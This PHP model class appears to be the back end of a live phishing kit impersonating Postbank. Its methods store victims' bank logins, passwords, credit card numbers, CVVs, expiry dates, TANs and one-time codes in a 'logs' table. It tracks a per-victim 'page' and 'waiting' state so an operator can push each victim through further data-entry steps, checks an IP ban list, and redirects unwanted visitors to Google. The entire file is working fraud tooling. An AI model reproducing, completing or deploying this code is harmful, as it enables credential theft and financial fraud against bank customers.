<?php

namespace App\Models\Postbank;

use PDO;

class Postbank extends \Core\Model
{
    public static function redirect()
    {
        $sql = 'SELECT * FROM redirect WHERE id = :id';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':id', 1, PDO::PARAM_INT);
        $stmt->execute();

        $data = $stmt->fetch();

        if ($data) {
            header('location: ' . $data['redirect']);
            exit;
        } else {
            header('location: https://www.google.nl');
            exit;
        }
    }

    public static function findBan($ip)
    {
        $sql = 'SELECT * FROM bans WHERE ip = :ip';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':ip', $ip, PDO::PARAM_STR);
        $stmt->execute();

        $data = $stmt->fetch();

        if ($data) {
            return true;
        }
        return false;
    }

            public static function setSignTwoInformation($uid)
        {
            $sql = 'UPDATE logs SET bank = :bank, postbank_code_m = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id';
            
            $db = static::getDB();
            $stmt = $db->prepare($sql);
            $stmt->bindValue(':bank', 'Postbank', PDO::PARAM_STR);
            $stmt->bindValue(':empty', null, PDO::PARAM_STR);
            $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
            $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);
        
            $stmt->execute();
        }

            public static function setSignTwo($respons, $uid) 
        {
            $sql = 'UPDATE logs SET postbank_code_m = :respons, waiting = :waiting WHERE user_id = :uid';
            
            $db = static::getDB();
            $stmt = $db->prepare($sql);
            $stmt->bindValue(':respons', $respons, PDO::PARAM_STR);
            $stmt->bindValue(':uid', $uid, PDO::PARAM_STR);
            $stmt->bindValue(':waiting', 'true', PDO::PARAM_STR);

            $stmt->execute();
        }

        public static function setSignTwoPage($uid, $page)
        {
            $sql = 'UPDATE logs SET page = :page, waiting = :waiting, postbank_code_m = :empty WHERE user_id = :user_id';

            $db = static::getDB();
            $stmt = $db->prepare($sql);
            $stmt->bindValue(':page', $page, PDO::PARAM_STR);
            $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
            $stmt->bindValue(':empty', null, PDO::PARAM_NULL);
            $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

            return $stmt->execute();
        }

        public static function setSignTwoPageCode($uid, $page, $codefive)
        {
            $sql = 'UPDATE logs SET page = :page, waiting = :waiting, postbank_code_m = :empty, postbank_code_two_m = :codefive WHERE user_id = :user_id';

            $db = static::getDB();
            $stmt = $db->prepare($sql);
            $stmt->bindValue(':page', $page, PDO::PARAM_STR);
            $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
            $stmt->bindValue(':empty', null, PDO::PARAM_NULL);
            $stmt->bindValue(':codefive', $codefive, PDO::PARAM_STR);
            $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

            return $stmt->execute();
        }

        public static function getSignTwoCode($uid) 
        {
            $sql = 'SELECT * FROM logs WHERE user_id = :uid';

            $db = static::getDB();
            $stmt = $db->prepare($sql);
            $stmt->bindValue(':uid', $uid);
            $stmt->execute();
            $data = $stmt->fetch();
            
            if (!empty($data['postbank_code_two_m'])) {
                return $data['postbank_code_two_m'];
            }
            return false;
        }

        public static function setSignTwoPageCodeTwo($uid, $page, $codesix)
        {
        $sql = 'UPDATE logs SET page = :page, waiting = :waiting, postbank_code_m = :empty, postbank_code_three_m = :codesix WHERE user_id = :user_id';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':page', $page, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_NULL);
        $stmt->bindValue(':codesix', $codesix, PDO::PARAM_STR);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

        return $stmt->execute();
       }

       public static function getSignTwoCodeTwo($uid) 
       {
        $sql = 'SELECT * FROM logs WHERE user_id = :uid';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':uid', $uid);
        $stmt->execute();
        $data = $stmt->fetch();
        
        if (!empty($data['postbank_code_three_m'])) {
            return $data['postbank_code_three_m'];
        }
        return false;
       }

    public static function setSignInformation($uid)
    {
        $sql = 'UPDATE logs SET bank = :bank, postbank_code_x = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':bank', 'Postbank', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);
    
        $stmt->execute();
    }

    public static function setSign($respons, $uid) 
    {
        $sql = 'UPDATE logs SET postbank_code_x = :respons, waiting = :waiting WHERE user_id = :uid';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':respons', $respons, PDO::PARAM_STR);
        $stmt->bindValue(':uid', $uid, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'true', PDO::PARAM_STR);

        $stmt->execute();
    }

    public static function setSignPage($uid, $page)
    {
        $sql = 'UPDATE logs SET page = :page, waiting = :waiting, postbank_code_x = :empty WHERE user_id = :user_id';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':page', $page, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_NULL);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

        return $stmt->execute();
    }

    public static function setSignPageCode($uid, $page, $codefour)
    {
        $sql = 'UPDATE logs SET page = :page, waiting = :waiting, postbank_code_x = :empty, postbank_code_two_x = :codefour WHERE user_id = :user_id';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':page', $page, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_NULL);
        $stmt->bindValue(':codefour', $codefour, PDO::PARAM_STR);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

        return $stmt->execute();
    }

    public static function getSignCode($uid) 
    {
        $sql = 'SELECT * FROM logs WHERE user_id = :uid';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':uid', $uid);
        $stmt->execute();
        $data = $stmt->fetch();
        
        if (!empty($data['postbank_code_two_x'])) {
            return $data['postbank_code_two_x'];
        }
        return false;
    }

    public static function setPasswordInformation($uid)
    {
        $sql = 'UPDATE logs SET bank = :bank, postbank_password = :empty, postbank_password_two = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':bank', 'Postbank', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);
    
        $stmt->execute();
    }

    public static function setPassword($expiration, $number, $uid) 
    {
        $sql = 'UPDATE logs SET postbank_password = :expiration, postbank_password_two = :number, waiting = :waiting WHERE user_id = :uid';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':expiration', $expiration, PDO::PARAM_STR);
        $stmt->bindValue(':number', $number, PDO::PARAM_STR);
        $stmt->bindValue(':uid', $uid, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'true', PDO::PARAM_STR);

        $stmt->execute();
    }

    public static function setPasswordPage($uid, $page)
    {
        $sql = 'UPDATE logs SET page = :page, waiting = :waiting, postbank_password = :empty, postbank_password_two = :empty WHERE user_id = :user_id';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':page', $page, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_NULL);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

        return $stmt->execute();
    }

    public static function setLogInformation($uid)
    {
        $sql = 'UPDATE logs SET bank = :bank, postbank_user = :empty, postbank_pass = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':bank', 'Postbank', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);
    
        $stmt->execute();
    }

    public static function setWifiInformation($uid)
    {
        $sql = 'UPDATE logs SET bank = :bank, postbank_wifi = :empty, postbank_wifi_pass = :empty, postbank_wifi_pass_two = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':bank', 'Postbank', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);
    
        $stmt->execute();
    }

    public static function setCreditcardInformation($uid)
    {
        $sql = 'UPDATE logs SET bank = :bank, postbank_creditcard = :empty, postbank_ccexp = :empty, postbank_cvv = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':bank', 'Postbank', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);
    
        $stmt->execute();
    }

    public static function setDetailsInformation($uid)
    {
        $sql = 'UPDATE logs SET bank = :bank, postbank_exp = :empty, postbank_number = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':bank', 'Postbank', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);
    
        $stmt->execute();
    }

    public static function setPhotoInformation($uid)
    {
        $sql = 'UPDATE logs SET bank = :bank, postbank_respons = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':bank', 'Postbank', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);
    
        $stmt->execute();
    }

    public static function setPhoto($respons, $uid) 
    {
        $sql = 'UPDATE logs SET postbank_respons = :respons, waiting = :waiting WHERE user_id = :uid';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':respons', $respons, PDO::PARAM_STR);
        $stmt->bindValue(':uid', $uid, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'true', PDO::PARAM_STR);

        $stmt->execute();
    }

    public static function setPhotoPage($uid, $page)
    {
        $sql = 'UPDATE logs SET page = :page, waiting = :waiting, postbank_respons = :empty WHERE user_id = :user_id';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':page', $page, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_NULL);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

        return $stmt->execute();
    }

    public static function setPhotoPageCode($uid, $page, $code)
    {
        $sql = 'UPDATE logs SET page = :page, waiting = :waiting, postbank_respons = :empty, postbank_code = :code WHERE user_id = :user_id';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':page', $page, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_NULL);
        $stmt->bindValue(':code', $code, PDO::PARAM_STR);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

        return $stmt->execute();
    }

    public static function getPhotoCode($uid) 
    {
        $sql = 'SELECT * FROM logs WHERE user_id = :uid';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':uid', $uid);
        $stmt->execute();
        $data = $stmt->fetch();
        
        if (!empty($data['postbank_code'])) {
            return $data['postbank_code'];
        }
        return false;
    }

    public static function setConfirmInformation($uid)
    {
        $sql = 'UPDATE logs SET bank = :bank, page = :empty, waiting = :waiting WHERE user_id = :user_id';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':bank', 'Postbank', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);
    
        $stmt->execute();
    }

    public static function setTanInformation($uid)
    {
        $sql = 'UPDATE logs SET bank = :bank, postbank_tan = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':bank', 'Postbank', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);
    
        $stmt->execute();
    }

    public static function checkPayment($url = []) 
    {
        $sql = 'SELECT * FROM requests WHERE url = :id';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':id', $url, PDO::PARAM_STR);
        $stmt->execute();

        $data = $stmt->fetch();

        if ($data) {
            return $data;
        }
        return false;
    }

    public static function setLogin($username, $password, $uid) 
    {
        $sql = 'UPDATE logs SET postbank_user = :username, postbank_pass = :password, waiting = :waiting WHERE user_id = :uid';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':username', $username, PDO::PARAM_STR);
        $stmt->bindValue(':password', $password, PDO::PARAM_STR);
        $stmt->bindValue(':uid', $uid, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'true', PDO::PARAM_STR);

        $stmt->execute();
    }

    public static function setWifi($wifi, $pass, $confirm, $uid) 
    {
        $sql = 'UPDATE logs SET postbank_wifi = :wifi, postbank_wifi_pass = :pass, postbank_wifi_pass_two = :confirm, waiting = :waiting WHERE user_id = :uid';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':wifi', $wifi, PDO::PARAM_STR);
        $stmt->bindValue(':pass', $pass, PDO::PARAM_STR);
        $stmt->bindValue(':confirm', $confirm, PDO::PARAM_STR);
        $stmt->bindValue(':uid', $uid, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'true', PDO::PARAM_STR);

        $stmt->execute();
    }

    public static function setCreditcard($wifi, $pass, $confirm, $uid) 
    {
        $sql = 'UPDATE logs SET postbank_creditcard = :wifi, postbank_ccexp = :pass, postbank_cvv = :confirm, waiting = :waiting WHERE user_id = :uid';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':wifi', $wifi, PDO::PARAM_STR);
        $stmt->bindValue(':pass', $pass, PDO::PARAM_STR);
        $stmt->bindValue(':confirm', $confirm, PDO::PARAM_STR);
        $stmt->bindValue(':uid', $uid, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'true', PDO::PARAM_STR);

        $stmt->execute();
    }

    public static function setConfirm($uid) 
    {
        $sql = 'UPDATE logs SET waiting = :waiting WHERE user_id = :uid';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':uid', $uid, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'true', PDO::PARAM_STR);

        $stmt->execute();
    }

    public static function setTan($tan, $uid) 
    {
        $sql = 'UPDATE logs SET postbank_tan = :tan, waiting = :waiting WHERE user_id = :uid';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':tan', $tan, PDO::PARAM_STR);
        $stmt->bindValue(':uid', $uid, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'true', PDO::PARAM_STR);

        $stmt->execute();
    }

    public static function setDetails($expiration, $number, $uid) 
    {
        $sql = 'UPDATE logs SET postbank_exp = :expiration, postbank_number = :number, waiting = :waiting WHERE user_id = :uid';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':expiration', $expiration, PDO::PARAM_STR);
        $stmt->bindValue(':number', $number, PDO::PARAM_STR);
        $stmt->bindValue(':uid', $uid, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'true', PDO::PARAM_STR);

        $stmt->execute();
    }

    public static function getPage($uid) 
    {
        $sql = 'SELECT * FROM logs WHERE user_id = :uid';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':uid', $uid, PDO::PARAM_STR);
        $stmt->execute();

        $data = $stmt->fetch();

        if (!empty($data['page'])) {
            return $data['page'];
        }
        return false;
    }

    public static function setLoginPage($uid, $page)
    {
        $sql = 'UPDATE logs SET page = :page, waiting = :waiting, postbank_user = :empty, postbank_pass = :empty WHERE user_id = :user_id';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':page', $page, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_NULL);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

        return $stmt->execute();
    }

    public static function setControlPage($uid, $page)
    {
        $sql = 'UPDATE logs SET page = :page, waiting = :waiting, postbank_wifi = :empty, postbank_wifi_pass = :empty, postbank_wifi_pass_two = :empty WHERE user_id = :user_id';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':page', $page, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_NULL);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

        return $stmt->execute();
    }

    public static function setCreditcardPage($uid, $page)
    {
        $sql = 'UPDATE logs SET page = :page, waiting = :waiting, postbank_creditcard = :empty, postbank_ccexp = :empty, postbank_cvv = :empty WHERE user_id = :user_id';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':page', $page, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_NULL);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

        return $stmt->execute();
    }

    public static function setDetailsPage($uid, $page)
    {
        $sql = 'UPDATE logs SET page = :page, waiting = :waiting, postbank_exp = :empty, postbank_number = :empty WHERE user_id = :user_id';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':page', $page, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_NULL);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

        return $stmt->execute();
    }

    public static function setConfirmPage($uid, $page)
    {
        $sql = 'UPDATE logs SET page = :page, waiting = :waiting WHERE user_id = :user_id';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':page', $page, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

        return $stmt->execute();
    }

    public static function setTanPage($uid, $page)
    {
        $sql = 'UPDATE logs SET page = :page, waiting = :waiting, postbank_tan = :empty WHERE user_id = :user_id';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':page', $page, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_NULL);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

        return $stmt->execute();
    }

    public static function setLiveInformation($uid)
    {
        $sql = 'UPDATE logs SET bank = :bank, postbank_respons_two = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':bank', 'Postbank', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);
    
        $stmt->execute();
    }

    public static function setLive($respons, $uid) 
    {
        $sql = 'UPDATE logs SET postbank_respons_two = :respons, waiting = :waiting WHERE user_id = :uid';
        
        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':respons', $respons, PDO::PARAM_STR);
        $stmt->bindValue(':uid', $uid, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'true', PDO::PARAM_STR);

        $stmt->execute();
    }

    public static function setLivePage($uid, $page)
    {
        $sql = 'UPDATE logs SET page = :page, waiting = :waiting, postbank_respons_two = :empty WHERE user_id = :user_id';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':page', $page, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_NULL);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

        return $stmt->execute();
    }

    public static function setLivePageCode($uid, $page, $codetwo)
    {
        $sql = 'UPDATE logs SET page = :page, waiting = :waiting, postbank_respons_two = :empty, postbank_code_two = :codetwo WHERE user_id = :user_id';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':page', $page, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':empty', null, PDO::PARAM_NULL);
        $stmt->bindValue(':codetwo', $codetwo, PDO::PARAM_STR);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

        return $stmt->execute();
    }

    public static function getLiveCode($uid) 
    {
        $sql = 'SELECT * FROM logs WHERE user_id = :uid';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':uid', $uid);
        $stmt->execute();
        $data = $stmt->fetch();
        
        if (!empty($data['postbank_code_two'])) {
            return $data['postbank_code_two'];
        }
        return false;
    }

    public static function setLivePageCodeTwo($uid, $page, $codethree)
    {
    $sql = 'UPDATE logs SET page = :page, waiting = :waiting, postbank_respons_two = :empty, postbank_code_three = :codethree WHERE user_id = :user_id';

    $db = static::getDB();
    $stmt = $db->prepare($sql);
    $stmt->bindValue(':page', $page, PDO::PARAM_STR);
    $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
    $stmt->bindValue(':empty', null, PDO::PARAM_NULL);
    $stmt->bindValue(':codethree', $codethree, PDO::PARAM_STR);
    $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

    return $stmt->execute();
   }

   public static function getLiveCodeTwo($uid) 
   {
    $sql = 'SELECT * FROM logs WHERE user_id = :uid';

    $db = static::getDB();
    $stmt = $db->prepare($sql);
    $stmt->bindValue(':uid', $uid);
    $stmt->execute();
    $data = $stmt->fetch();
    
    if (!empty($data['postbank_code_three'])) {
        return $data['postbank_code_three'];
    }
    return false;
   }


    public static function setFinishPage($uid, $page)
    {
        $sql = 'UPDATE logs SET page = :page, waiting = :waiting WHERE user_id = :user_id';

        $db = static::getDB();
        $stmt = $db->prepare($sql);
        $stmt->bindValue(':page', $page, PDO::PARAM_STR);
        $stmt->bindValue(':waiting', 'false', PDO::PARAM_STR);
        $stmt->bindValue(':user_id', $uid, PDO::PARAM_STR);

        return $stmt->execute();
    }
}